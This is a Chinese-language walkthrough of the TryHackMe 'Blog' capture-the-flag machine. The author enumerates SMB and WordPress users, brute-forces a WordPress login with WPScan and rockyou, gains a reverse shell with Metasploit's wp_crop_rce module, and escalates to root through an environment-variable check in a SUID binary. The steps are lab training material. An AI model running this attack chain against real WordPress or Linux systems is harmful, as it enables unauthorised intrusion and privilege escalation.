# 靶機練習 —【TryHackMe_Blog】 ###### tags: `TryHackMe` `Machine` ## VPN 設定: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` sudo openvpn <???.ovpn> ``` --- ## 將 blog.thm 加入 DNS: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` sudo nano /etc/hosts ``` 添加:<機器IP> blog.thm --- ## 利用 nmap 掃描: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` sudo namp -sSV blog.thm -oN namp.scan ``` :::info -sC -sV -sS [Tools_nmap](https:// "title") ::: ![](https://i.imgur.com/b3iLRcI.png) 上面可以看到: 22, 80, 139, 445 為開啟的 --- ## SMB Enumeration: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` smbmap -H <機器IP> ``` ![](https://i.imgur.com/RnCgMy2.png) ## SMB 資料下載: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` smbget -R smb://blog.thm/BillySMB/ ``` ![](https://i.imgur.com/5e33Ys4.png) --- ## Steg: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` steghide extract -sf Alice-White-Rabbit.jpg ``` 挖到一些東西: ![](https://i.imgur.com/b80iw4J.png) --- ## 觀察: 觀察網頁,可以看到有 Wordpress,還有幾個使用者,並且他們的真正使用者名稱為: 1. Kwheel 2. Bjoel 我們可以先將他們儲存在 username.txt 檔案中 <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` echo "Kwhell ``` ``` bjoel" > usernames.txt ``` --- ## WPScan: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` wpscan --url http://blog.thm/ -e u ``` ![](https://i.imgur.com/10MZT4L.png) 掃描完可以看到我們之前看到的使用者 --- ## WPScan Brute Force: <font color="#66CC00">(</font><font color="#0080FF">Wilson@kali</font><font color="#66CC00">)-[~]</font> ``` wpscan --url http://blog.thm -P /usr/share/wordlists/rockyou.txt -U username.txt -t 75 ``` --- ## 抓到密碼!: :::spoiler username: <font color=red>Kwheel</font> ::: :::spoiler password: <font color=red>cutiepiel</font> ::: ![](https://i.imgur.com/qtuSmAr.png) --- ## Metasploit: 1. **尋找版本資訊WordPress core 5.0:** <font color="#0080FF">msf6 ></font> ``` searchsploit WordPress core 5.0 ``` ![](https://i.imgur.com/3J0gBE6.png) 看到有一個 Crop-image Shell Upload 問題 2. **尋照 Crop-image 資訊:** <font color="#0080FF">msf6 ></font> ``` search Crop-image ``` ![](https://i.imgur.com/CVOUZjg.png) 3. **使用它,並且查詢相關資訊:** <font color="#0080FF">msf6 ></font> ``` use 0 ``` msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` options ``` ![](https://i.imgur.com/UiY9Mt8.png) 4. **設定選項:** msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` set RHOSTS 10.10.66.48 ``` msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` set USERNAME Kwheel ``` msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` set PASSWORD cutiepie1 ``` msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` set LHOST 10.8.1.36 ``` ![](https://i.imgur.com/nmtaipi.png) 5. **開始:** msf6 exploit(<font color=red>multi/http/wp_crop_rce</font>) > ``` exploit ``` ![](https://i.imgur.com/4EQb3NG.png) 6. **:** <font color="#0080FF">meterpreter ></font> ``` shell ``` ``` script -qc /bin/bash /dev/null ``` ![](https://i.imgur.com/5KHRCp4.png) --- ## 尋找目標文件: 1. **翻箱倒櫃:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` cd /home ``` ``` ls -al ``` ``` cd bjoel ``` ``` ls -al ``` ![](https://i.imgur.com/XM3jclj.png) 可以看到下面兩個資料很有趣: ``` Billy_Joel_Termination_May20-2020.pdf user.txt ``` 2. **當我們試圖查 user.txt 裡面的資訊時:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` cat user.txt ``` ![](https://i.imgur.com/xwMyGBZ.png) 3. **尋找?:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` find / -xdev -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null ``` 可以找到一個 ``` -rwsr-sr-x 1 root root 8432 May 26 18:27 /usr/sbin/checker ``` 4. **嘗試執行 checker:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` checker ``` 發現我們並非 admin ![](https://i.imgur.com/7zzidYQ.png) 5. **檢查 checker 所會調動的 linux 系統指令:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` ltrace checker ``` ![](https://i.imgur.com/MrkSwvr.png) 我們看到有 getenv() 這個指令,因此我們需要更動環境變數 6. **更動環境變數:** <font color="#0080FF">www-data@blog:/home/bjoel$</font> ``` export admin='' ``` 再重新執行 checker 一次,可以發現 root 了! ![](https://i.imgur.com/dMpfDuy.png) 7. **重新尋找 user.txt 檔案:** <font color="#0080FF">root@blog:/home/bjoel#</font> ``` find / -type f -iname 'user.txt' -exec ls -l {} \; 2>/dev/null ``` ![](https://i.imgur.com/tIopuHT.png) 可以找到,除了剛剛的 /home/bjoel/user.txt ,還有 /media/usb/user.txt 8. **列出資訊:** <font color="#0080FF">root@blog:/home/bjoel#</font> ``` cat /media/usb/user.txt ``` ![](https://i.imgur.com/Nxlq6Cm.png) 找到 user.txt 的 flag 了! 9. **尋找 root.txt 的 flag:** <font color="#0080FF">root@blog:/home/bjoel#</font> ``` find / -type f -iname 'root.txt' -exec ls -l {} \; 2>/dev/null ``` ``` cat /root/root.txt ``` ![](https://i.imgur.com/oPP2uDp.png) --- --- --- # 結束!